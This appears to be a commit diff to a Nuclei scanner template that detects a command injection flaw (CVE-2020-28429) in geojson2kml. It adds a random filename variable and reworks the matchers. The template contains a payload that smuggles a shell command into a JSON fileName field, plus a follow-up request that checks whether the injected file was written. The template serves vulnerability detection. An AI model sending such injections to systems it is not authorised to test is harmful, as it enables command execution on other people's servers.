updated matchers & variable

http/cves/2020/CVE-2020-28429.yaml

@@ -2,20 +2,28 @@
 
 info:
   name: geojson2kml - Command Injection
-  author: eeche, chae1xx1os, persona-twotwo, soonghee2
+  author: eeche,chae1xx1os,persona-twotwo,soonghee2
   severity: critical
-  description: Detects command injection vulnerability by checking if `hacked.txt` is created and contains the expected content.
-  impact: Successful exploitation of this vulnerability could result in unauthorized access, remote code execution, privilege escalation
-  remediation: Do not use geojson2kml. There is no fixed version for geojson2kml.
+  description: |
+    Detects command injection vulnerability by checking if `hacked.txt` is created and contains the expected content.
+  impact: |
+    Successful exploitation of this vulnerability could result in unauthorized access, remote code execution, privilege escalation
+  remediation: |
+    Do not use geojson2kml. There is no fixed version for geojson2kml.
   reference: 
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-28429
     - https://snyk.io/vuln/SNYK-JS-GEOJSON2KML-1050412
     - https://github.com/advisories/GHSA-w83x-fp72-p9qc
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-28429
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2020-28429
-  tags: cve, cve2020, command-injection, geojson2kml, file-upload, web
+  metadata:
+    max-request: 2
+  tags: cve,cve2020,rce,geojson2kml,file-upload,intrusive
+
+variables:
+  filename: '{{rand_base(6)}}'
 
 http:
   - raw:
@@ -25,7 +33,7 @@
         Content-Type: application/json
 
         {
-          "fileName": "& echo \"{{randstr}}\" > hacked.txt && ls",
+          "fileName": "& echo \"{{randstr}}\" > {{filename}}.txt && ls",
           "geoJsonData": {
             "type": "FeatureCollection",
             "features": [
@@ -44,21 +52,21 @@
         }
 
       - |
-        GET /file/hacked.txt HTTP/1.1
+        GET /file/{{filename}}.txt HTTP/1.1
         Host: {{Hostname}}
 
     matchers-condition: and
     matchers:
-      - type: status
-        status:
-          - 200
-
       - type: word
-        part: body
+        part: body_2
         words:
           - "{{randstr}}"
 
       - type: word
-        part: header
+        part: header_2
         words:
-          - "text/html"
+          - "text/html"
+
+      - type: status
+        status:
+          - 200